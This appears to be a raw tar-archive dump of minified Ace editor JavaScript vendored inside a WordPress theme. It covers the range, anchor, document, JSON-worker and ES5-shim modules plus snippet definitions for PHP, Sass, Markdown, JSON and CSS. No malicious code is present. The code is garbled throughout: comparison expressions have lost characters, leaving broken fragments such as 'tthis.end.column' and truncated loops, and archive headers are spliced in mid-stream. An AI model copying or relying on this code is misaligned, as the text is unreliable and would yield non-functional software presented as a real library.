this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e=="object"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e=="object"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?tthis.end.column?1:0:ethis.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.rowt)var r={row:t+1,column:0};else if(this.start.rowthis.row)return;if(n.start.row==this.row&&n.start.column>this.column)return;var r=this.row,i=this.column,s=n.start,o=n.end;if(t.action==="insertText")if(s.row===r&&s.column<=i){if(s.column!==i||!this.$insertRight)s.row===o.row?i+=o.column-s.column:(i-=s.column,r+=o.row-s.row)}else s.row!==o.row&&s.row=i?i=s.column:i=Math.max(0,i-(o.column-s.column)):s.row!==o.row&&s.row=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/range","ace/anchor"],function(e,t,n){"use strict";var r=e("./lib/oop"),i=e("./lib/event_emitter").EventEmitter,s=e("./range").Range,o=e("./anchor").Anchor,u=function(e){this.$lines=[],e.length===0?this.$lines=[""]:Array.isArray(e)?this._insertLines(0,e):this.insert({row:0,column:0},e)};(function(){r.implement(this,i),this.setValue=function(e){var t=this.getLength();this.remove(new s(0,0,t,this.getLine(t-1).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new o(this,e,t)},"aaa".split(/a/).length===0?this.$split=function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:this.$split=function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal("changeNewLineMode")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e=="\r\n"||e=="\r"||e=="\n"},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){if(e.start.row==e.end.row)return this.getLine(e.start.row).substring(e.start.column,e.end.column);var t=this.getLines(e.start.row,e.end.row);t[0]=(t[0]||"").substring(e.start.column);var n=t.length-1;return e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column)),t.join(this.getNewLineCharacter())},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):e.row<0&&(e.row=0),e},this.insert=function(e,t){if(!t||t.length===0)return e;e=this.$clipPosition(e),this.getLength()<=1&&this.$detectNewLine(t);var n=this.$split(t),r=n.splice(0,1)[0],i=n.length==0?null:n.splice(n.length-1,1)[0];return e=this.insertInLine(e,r),i!==null&&(e=this.insertNewLine(e),e=this._insertLines(e.row,n),e=this.insertInLine(e,i||"")),e},this.insertLines=function(e,t){return e>=this.getLength()?this.insert({row:e,column:0},"\n"+t.join("\n")):this._insertLines(Math.max(e,0),t)},this._insertLines=function(e,t){if(t.length==0)return{row:e,column:0};while(t.length>61440){var n=this._insertLines(e,t.slice(0,61440));t=t.slice(61440),e=n.row}var r=[e,0];r.push.apply(r,t),this.$lines.splice.apply(this.$lines,r);var i=new s(e,0,e+t.length,0),o={action:"insertLines",range:i,lines:t};return this._signal("change",{data:o}),i.end},this.insertNewLine=function(e){e=this.$clipPosition(e);var t=this.$lines[e.row]||"";this.$lines[e.row]=t.substring(0,e.column),this.$lines.splice(e.row+1,0,t.substring(e.column,t.length));var n={row:e.row+1,column:0},r={action:"insertText",range:s.fromPoints(e,n),text:this.getNewLineCharacter()};return this._signal("change",{data:r}),n},this.insertInLine=function(e,t){if(t.length==0)return e;var n=this.$lines[e.row]||"";this.$lines[e.row]=n.substring(0,e.column)+t+n.substring(e.column);var r={row:e.row,column:e.column+t.length},i={action:"insertText",range:s.fromPoints(e,r),text:t};return this._signal("change",{data:i}),r},this.remove=function(e){e instanceof s||(e=s.fromPoints(e.start,e.end)),e.start=this.$clipPosition(e.start),e.end=this.$clipPosition(e.end);if(e.isEmpty())return e.start;var t=e.start.row,n=e.end.row;if(e.isMultiLine()){var r=e.start.column==0?t:t+1,i=n-1;e.end.column>0&&this.removeInLine(n,0,e.end.column),i>=r&&this._removeLines(r,i),r!=t&&(this.removeInLine(t,e.start.column,this.getLine(t).length),this.removeNewLine(e.start.row))}else this.removeInLine(t,e.start.column,e.end.column);return e.start},this.removeInLine=function(e,t,n){if(t==n)return;var r=new s(e,t,e,n),i=this.getLine(e),o=i.substring(t,n),u=i.substring(0,t)+i.substring(n,i.length);this.$lines.splice(e,1,u);var a={action:"removeText",range:r,text:o};return this._signal("change",{data:a}),r.start},this.removeLines=function(e,t){return e<0||t>=this.getLength()?this.remove(new s(e,0,t+1,0)):this._removeLines(e,t)},this._removeLines=function(e,t){var n=new s(e,0,t+1,0),r=this.$lines.splice(e,t-e+1),i={action:"removeLines",range:n,nl:this.getNewLineCharacter(),lines:r};return this._signal("change",{data:i}),r},this.removeNewLine=function(e){var t=this.getLine(e),n=this.getLine(e+1),r=new s(e,t.length,e+1,0),i=t+n;this.$lines.splice(e,2,i);var o={action:"removeText",range:r,text:this.getNewLineCharacter()};this._signal("change",{data:o})},this.replace=function(e,t){e instanceof s||(e=s.fromPoints(e.start,e.end));if(t.length==0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);if(t)var n=this.insert(e.start,t);else n=e.start;return n},this.applyDeltas=function(e){for(var t=0;t=0;t--){var n=e[t],r=s.fromPoints(n.range.start,n.range.end);n.action=="insertLines"?this._removeLines(r.start.row,r.end.row-1):n.action=="insertText"?this.remove(r):n.action=="removeLines"?this._insertLines(r.start.row,n.lines):n.action=="removeText"&&this.insert(r.start,n.text)}},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\s\s*/,i=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(r,"")},t.stringTrimRight=function(e){return e.replace(i,"")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n="0"&&i<="9")t+=i,a();if(i==="."){t+=".";while(a()&&i>="0"&&i<="9")t+=i}if(i==="e"||i==="E"){t+=i,a();if(i==="-"||i==="+")t+=i,a();while(i>="0"&&i<="9")t+=i,a()}e=+t;if(!isNaN(e))return e;u("Bad number")},l=function(){var e,t,n="",r;if(i==='"')while(a()){if(i==='"')return a(),n;if(i==="\\"){a();if(i==="u"){r=0;for(t=0;t<4;t+=1){e=parseInt(a(),16);if(!isFinite(e))break;r=r*16+e}n+=String.fromCharCode(r)}else{if(typeof s[i]!="string")break;n+=s[i]}}else n+=i}u("Bad string")},c=function(){while(i&&i<=" ")a()},h=function(){switch(i){case"t":return a("t"),a("r"),a("u"),a("e"),!0;case"f":return a("f"),a("a"),a("l"),a("s"),a("e"),!1;case"n":return a("n"),a("u"),a("l"),a("l"),null}u("Unexpected '"+i+"'")},p,d=function(){var e=[];if(i==="["){a("["),c();if(i==="]")return a("]"),e;while(i){e.push(p()),c();if(i==="]")return a("]"),e;a(","),c()}}u("Bad array")},v=function(){var e,t={};if(i==="{"){a("{"),c();if(i==="}")return a("}"),t;while(i){e=l(),c(),a(":"),Object.hasOwnProperty.call(t,e)&&u('Duplicate key "'+e+'"'),t[e]=p(),c();if(i==="}")return a("}"),t;a(","),c()}}u("Bad object")};return p=function(){c();switch(i){case"{":return v();case"[":return d();case'"':return l();case"-":return f();default:return i>="0"&&i<="9"?f():h()}},function(e,t){var n;return o=e,r=0,i=" ",n=p(),c(),i&&u("Syntax error"),typeof t=="function"?function s(e,n){var r,i,o=e[n];if(o&&typeof o=="object")for(r in o)Object.hasOwnProperty.call(o,r)&&(i=s(o,r),i!==undefined?o[r]=i:delete o[r]);return t.call(e,n,o)}({"":n},""):n}}),ace.define("ace/mode/json_worker",["require","exports","module","ace/lib/oop","ace/worker/mirror","ace/mode/json/json_parse"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("../worker/mirror").Mirror,s=e("./json/json_parse"),o=t.JsonWorker=function(e){i.call(this,e),this.setTimeout(200)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue();try{e&&s(e)}catch(t){var n=this.doc.indexToPosition(t.at-1);this.sender.emit("error",{row:n.row,column:n.column,text:t.message,type:"error"});return}this.sender.emit("ok")}}.call(o.prototype)}),ace.define("ace/lib/es5-shim",["require","exports","module"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,"sentinel",{}),"sentinel"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t==="undefined"||t==="boolean"||t==="number"||t==="string"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n=="function"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r=="function"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!="function")throw new TypeError("Function.prototype.bind called on incompatible "+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,"__defineGetter__"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,"XXX"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+ta)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h>>0;if(a(t)!="[object Function]")throw new TypeError;while(++s>>0,s=Array(i),o=arguments[1];if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");for(var u=0;u>>0,s=[],o,u=arguments[1];if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");for(var f=0;f>>0,s=arguments[1];if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");for(var o=0;o>>0,s=arguments[1];if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");for(var o=0;o>>0;if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");if(!i&&arguments.length==1)throw new TypeError("reduce of empty array with no initial value");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError("reduce of empty array with no initial value")}while(!0);for(;s>>0;if(a(t)!="[object Function]")throw new TypeError(t+" is not a function");if(!i&&arguments.length==1)throw new TypeError("reduceRight of empty array with no initial value");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError("reduceRight of empty array with no initial value")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)=="[object String]"?this.split(""):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y="Object.getOwnPropertyDescriptor called on a non-object: ";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!="object"&&typeof t!="function"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!="object")throw new TypeError("typeof prototype["+typeof t+"] != 'object'");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document=="undefined"||w(document.createElement("div"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T="Property description must be an object: ",N="Object.defineProperty called on non-object: ",C="getters & setters can not be defined on this javascript engine";Object.defineProperty=function(t,n,r){if(typeof t!="object"&&typeof t!="function"||t===null)throw new TypeError(N+t);if(typeof r!="object"&&typeof r!="function"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,"value"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,"get")&&l(t,n,r.get),f(r,"set")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n=="function"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n="";while(f(t,n))n+="?";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!="object"&&typeof e!="function"||e===null)throw new TypeError("Object.keys called on a non-object");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n${4:$1};\n }\n public function set$3(${7:$2 }$$1)\n {\n $this->$4 = $$1;\n return $this;\n }${8}\n# anotation, get, and set, useful for doctrine\nsnippet ags\n ${2:protected} $${3:foo};\n\n public function get${4:$3}()\n {\n return $this->$3;\n }\n\n public function set$4(${5:$4 }$${6:$3})\n {\n $this->$3 = $$6;\n return $this;\n }\nsnippet rett\n return true;\nsnippet retf\n return false;\n",t.scope="php"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/sass.js000064400000000203152342437700030750 0ustar00Avadaace.define("ace/snippets/sass",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="sass"})lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/markdown.js000064400000003665152342437700031640 0ustar00Avada/includesace.define("ace/snippets/markdown",["require","exports","module"],function(e,t,n){"use strict";t.snippetText='# Markdown\n\n# Includes octopress (http://octopress.org/) snippets\n\nsnippet [\n [${1:text}](http://${2:address} "${3:title}")\nsnippet [*\n [${1:link}](${2:`@*`} "${3:title}")${4}\n\nsnippet [:\n [${1:id}]: http://${2:url} "${3:title}"\nsnippet [:*\n [${1:id}]: ${2:`@*`} "${3:title}"\n\nsnippet ![\n ![${1:alttext}](${2:/images/image.jpg} "${3:title}")\nsnippet ![*\n ![${1:alt}](${2:`@*`} "${3:title}")${4}\n\nsnippet ![:\n ![${1:id}]: ${2:url} "${3:title}"\nsnippet ![:*\n ![${1:id}]: ${2:`@*`} "${3:title}"\n\nsnippet ===\nregex /^/=+/=*//\n ${PREV_LINE/./=/g}\n \n ${0}\nsnippet ---\nregex /^/-+/-*//\n ${PREV_LINE/./-/g}\n \n ${0}\nsnippet blockquote\n {% blockquote %}\n ${1:quote}\n {% endblockquote %}\n\nsnippet blockquote-author\n {% blockquote ${1:author}, ${2:title} %}\n ${3:quote}\n {% endblockquote %}\n\nsnippet blockquote-link\n {% blockquote ${1:author} ${2:URL} ${3:link_text} %}\n ${4:quote}\n {% endblockquote %}\n\nsnippet bt-codeblock-short\n ```\n ${1:code_snippet}\n ```\n\nsnippet bt-codeblock-full\n ``` ${1:language} ${2:title} ${3:URL} ${4:link_text}\n ${5:code_snippet}\n ```\n\nsnippet codeblock-short\n {% codeblock %}\n ${1:code_snippet}\n {% endcodeblock %}\n\nsnippet codeblock-full\n {% codeblock ${1:title} lang:${2:language} ${3:URL} ${4:link_text} %}\n ${5:code_snippet}\n {% endcodeblock %}\n\nsnippet gist-full\n {% gist ${1:gist_id} ${2:filename} %}\n\nsnippet gist-short\n {% gist ${1:gist_id} %}\n\nsnippet img\n {% img ${1:class} ${2:URL} ${3:width} ${4:height} ${5:title_text} ${6:alt_text} %}\n\nsnippet youtube\n {% youtube ${1:video_id} %}\n\n# The quote should appear only once in the text. It is inherently part of it.\n# See http://octopress.org/docs/plugins/pullquote/ for more info.\n\nsnippet pullquote\n {% pullquote %}\n ${1:text} {" ${2:quote} "} ${3:text}\n {% endpullquote %}\n',t.scope="markdown"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/json.js000064400000000203152342437700030750 0ustar00Avadaace.define("ace/snippets/json",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="json"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/css.js000064400000046302152342437700030601 0ustar00Avadaace.define("ace/snippets/css",["require","exports","module"],function(e,t,n){"use strict";t.snippetText="snippet .\n ${1} {\n ${2}\n }\nsnippet !\n !important\nsnippet bdi:m+\n -moz-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\nsnippet bdi:m\n -moz-border-image: ${1};\nsnippet bdrz:m\n -moz-border-radius: ${1};\nsnippet bxsh:m+\n -moz-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\nsnippet bxsh:m\n -moz-box-shadow: ${1};\nsnippet bdi:w+\n -webkit-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\nsnippet bdi:w\n -webkit-border-image: ${1};\nsnippet bdrz:w\n -webkit-border-radius: ${1};\nsnippet bxsh:w+\n -webkit-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\nsnippet bxsh:w\n -webkit-box-shadow: ${1};\nsnippet @f\n @font-face {\n font-family: ${1};\n src: url(${2});\n }\nsnippet @i\n @import url(${1});\nsnippet @m\n @media ${1:print} {\n ${2}\n }\nsnippet bg+\n background: #${1:FFF} url(${2}) ${3:0} ${4:0} ${5:no-repeat};\nsnippet bga\n background-attachment: ${1};\nsnippet bga:f\n background-attachment: fixed;\nsnippet bga:s\n background-attachment: scroll;\nsnippet bgbk\n background-break: ${1};\nsnippet bgbk:bb\n background-break: bounding-box;\nsnippet bgbk:c\n background-break: continuous;\nsnippet bgbk:eb\n background-break: each-box;\nsnippet bgcp\n background-clip: ${1};\nsnippet bgcp:bb\n background-clip: border-box;\nsnippet bgcp:cb\n background-clip: content-box;\nsnippet bgcp:nc\n background-clip: no-clip;\nsnippet bgcp:pb\n background-clip: padding-box;\nsnippet bgc\n background-color: #${1:FFF};\nsnippet bgc:t\n background-color: transparent;\nsnippet bgi\n background-image: url(${1});\nsnippet bgi:n\n background-image: none;\nsnippet bgo\n background-origin: ${1};\nsnippet bgo:bb\n background-origin: border-box;\nsnippet bgo:cb\n background-origin: content-box;\nsnippet bgo:pb\n background-origin: padding-box;\nsnippet bgpx\n background-position-x: ${1};\nsnippet bgpy\n background-position-y: ${1};\nsnippet bgp\n background-position: ${1:0} ${2:0};\nsnippet bgr\n background-repeat: ${1};\nsnippet bgr:n\n background-repeat: no-repeat;\nsnippet bgr:x\n background-repeat: repeat-x;\nsnippet bgr:y\n background-repeat: repeat-y;\nsnippet bgr:r\n background-repeat: repeat;\nsnippet bgz\n background-size: ${1};\nsnippet bgz:a\n background-size: auto;\nsnippet bgz:ct\n background-size: contain;\nsnippet bgz:cv\n background-size: cover;\nsnippet bg\n background: ${1};\nsnippet bg:ie\n filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='${1}',sizingMethod='${2:crop}');\nsnippet bg:n\n background: none;\nsnippet bd+\n border: ${1:1px} ${2:solid} #${3:000};\nsnippet bdb+\n border-bottom: ${1:1px} ${2:solid} #${3:000};\nsnippet bdbc\n border-bottom-color: #${1:000};\nsnippet bdbi\n border-bottom-image: url(${1});\nsnippet bdbi:n\n border-bottom-image: none;\nsnippet bdbli\n border-bottom-left-image: url(${1});\nsnippet bdbli:c\n border-bottom-left-image: continue;\nsnippet bdbli:n\n border-bottom-left-image: none;\nsnippet bdblrz\n border-bottom-left-radius: ${1};\nsnippet bdbri\n border-bottom-right-image: url(${1});\nsnippet bdbri:c\n border-bottom-right-image: continue;\nsnippet bdbri:n\n border-bottom-right-image: none;\nsnippet bdbrrz\n border-bottom-right-radius: ${1};\nsnippet bdbs\n border-bottom-style: ${1};\nsnippet bdbs:n\n border-bottom-style: none;\nsnippet bdbw\n border-bottom-width: ${1};\nsnippet bdb\n border-bottom: ${1};\nsnippet bdb:n\n border-bottom: none;\nsnippet bdbk\n border-break: ${1};\nsnippet bdbk:c\n border-break: close;\nsnippet bdcl\n border-collapse: ${1};\nsnippet bdcl:c\n border-collapse: collapse;\nsnippet bdcl:s\n border-collapse: separate;\nsnippet bdc\n border-color: #${1:000};\nsnippet bdci\n border-corner-image: url(${1});\nsnippet bdci:c\n border-corner-image: continue;\nsnippet bdci:n\n border-corner-image: none;\nsnippet bdf\n border-fit: ${1};\nsnippet bdf:c\n border-fit: clip;\nsnippet bdf:of\n border-fit: overwrite;\nsnippet bdf:ow\n border-fit: overwrite;\nsnippet bdf:r\n border-fit: repeat;\nsnippet bdf:sc\n border-fit: scale;\nsnippet bdf:sp\n border-fit: space;\nsnippet bdf:st\n border-fit: stretch;\nsnippet bdi\n border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\nsnippet bdi:n\n border-image: none;\nsnippet bdl+\n border-left: ${1:1px} ${2:solid} #${3:000};\nsnippet bdlc\n border-left-color: #${1:000};\nsnippet bdli\n border-left-image: url(${1});\nsnippet bdli:n\n border-left-image: none;\nsnippet bdls\n border-left-style: ${1};\nsnippet bdls:n\n border-left-style: none;\nsnippet bdlw\n border-left-width: ${1};\nsnippet bdl\n border-left: ${1};\nsnippet bdl:n\n border-left: none;\nsnippet bdlt\n border-length: ${1};\nsnippet bdlt:a\n border-length: auto;\nsnippet bdrz\n border-radius: ${1};\nsnippet bdr+\n border-right: ${1:1px} ${2:solid} #${3:000};\nsnippet bdrc\n border-right-color: #${1:000};\nsnippet bdri\n border-right-image: url(${1});\nsnippet bdri:n\n border-right-image: none;\nsnippet bdrs\n border-right-style: ${1};\nsnippet bdrs:n\n border-right-style: none;\nsnippet bdrw\n border-right-width: ${1};\nsnippet bdr\n border-right: ${1};\nsnippet bdr:n\n border-right: none;\nsnippet bdsp\n border-spacing: ${1};\nsnippet bds\n border-style: ${1};\nsnippet bds:ds\n border-style: dashed;\nsnippet bds:dtds\n border-style: dot-dash;\nsnippet bds:dtdtds\n border-style: dot-dot-dash;\nsnippet bds:dt\n border-style: dotted;\nsnippet bds:db\n border-style: double;\nsnippet bds:g\n border-style: groove;\nsnippet bds:h\n border-style: hidden;\nsnippet bds:i\n border-style: inset;\nsnippet bds:n\n border-style: none;\nsnippet bds:o\n border-style: outset;\nsnippet bds:r\n border-style: ridge;\nsnippet bds:s\n border-style: solid;\nsnippet bds:w\n border-style: wave;\nsnippet bdt+\n border-top: ${1:1px} ${2:solid} #${3:000};\nsnippet bdtc\n border-top-color: #${1:000};\nsnippet bdti\n border-top-image: url(${1});\nsnippet bdti:n\n border-top-image: none;\nsnippet bdtli\n border-top-left-image: url(${1});\nsnippet bdtli:c\n border-corner-image: continue;\nsnippet bdtli:n\n border-corner-image: none;\nsnippet bdtlrz\n border-top-left-radius: ${1};\nsnippet bdtri\n border-top-right-image: url(${1});\nsnippet bdtri:c\n border-top-right-image: continue;\nsnippet bdtri:n\n border-top-right-image: none;\nsnippet bdtrrz\n border-top-right-radius: ${1};\nsnippet bdts\n border-top-style: ${1};\nsnippet bdts:n\n border-top-style: none;\nsnippet bdtw\n border-top-width: ${1};\nsnippet bdt\n border-top: ${1};\nsnippet bdt:n\n border-top: none;\nsnippet bdw\n border-width: ${1};\nsnippet bd\n border: ${1};\nsnippet bd:n\n border: none;\nsnippet b\n bottom: ${1};\nsnippet b:a\n bottom: auto;\nsnippet bxsh+\n box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\nsnippet bxsh\n box-shadow: ${1};\nsnippet bxsh:n\n box-shadow: none;\nsnippet bxz\n box-sizing: ${1};\nsnippet bxz:bb\n box-sizing: border-box;\nsnippet bxz:cb\n box-sizing: content-box;\nsnippet cps\n caption-side: ${1};\nsnippet cps:b\n caption-side: bottom;\nsnippet cps:t\n caption-side: top;\nsnippet cl\n clear: ${1};\nsnippet cl:b\n clear: both;\nsnippet cl:l\n clear: left;\nsnippet cl:n\n clear: none;\nsnippet cl:r\n clear: right;\nsnippet cp\n clip: ${1};\nsnippet cp:a\n clip: auto;\nsnippet cp:r\n clip: rect(${1:0} ${2:0} ${3:0} ${4:0});\nsnippet c\n color: #${1:000};\nsnippet ct\n content: ${1};\nsnippet ct:a\n content: attr(${1});\nsnippet ct:cq\n content: close-quote;\nsnippet ct:c\n content: counter(${1});\nsnippet ct:cs\n content: counters(${1});\nsnippet ct:ncq\n content: no-close-quote;\nsnippet ct:noq\n content: no-open-quote;\nsnippet ct:n\n content: normal;\nsnippet ct:oq\n content: open-quote;\nsnippet coi\n counter-increment: ${1};\nsnippet cor\n counter-reset: ${1};\nsnippet cur\n cursor: ${1};\nsnippet cur:a\n cursor: auto;\nsnippet cur:c\n cursor: crosshair;\nsnippet cur:d\n cursor: default;\nsnippet cur:ha\n cursor: hand;\nsnippet cur:he\n cursor: help;\nsnippet cur:m\n cursor: move;\nsnippet cur:p\n cursor: pointer;\nsnippet cur:t\n cursor: text;\nsnippet d\n display: ${1};\nsnippet d:mib\n display: -moz-inline-box;\nsnippet d:mis\n display: -moz-inline-stack;\nsnippet d:b\n display: block;\nsnippet d:cp\n display: compact;\nsnippet d:ib\n display: inline-block;\nsnippet d:itb\n display: inline-table;\nsnippet d:i\n display: inline;\nsnippet d:li\n display: list-item;\nsnippet d:n\n display: none;\nsnippet d:ri\n display: run-in;\nsnippet d:tbcp\n display: table-caption;\nsnippet d:tbc\n display: table-cell;\nsnippet d:tbclg\n display: table-column-group;\nsnippet d:tbcl\n display: table-column;\nsnippet d:tbfg\n display: table-footer-group;\nsnippet d:tbhg\n display: table-header-group;\nsnippet d:tbrg\n display: table-row-group;\nsnippet d:tbr\n display: table-row;\nsnippet d:tb\n display: table;\nsnippet ec\n empty-cells: ${1};\nsnippet ec:h\n empty-cells: hide;\nsnippet ec:s\n empty-cells: show;\nsnippet exp\n expression()\nsnippet fl\n float: 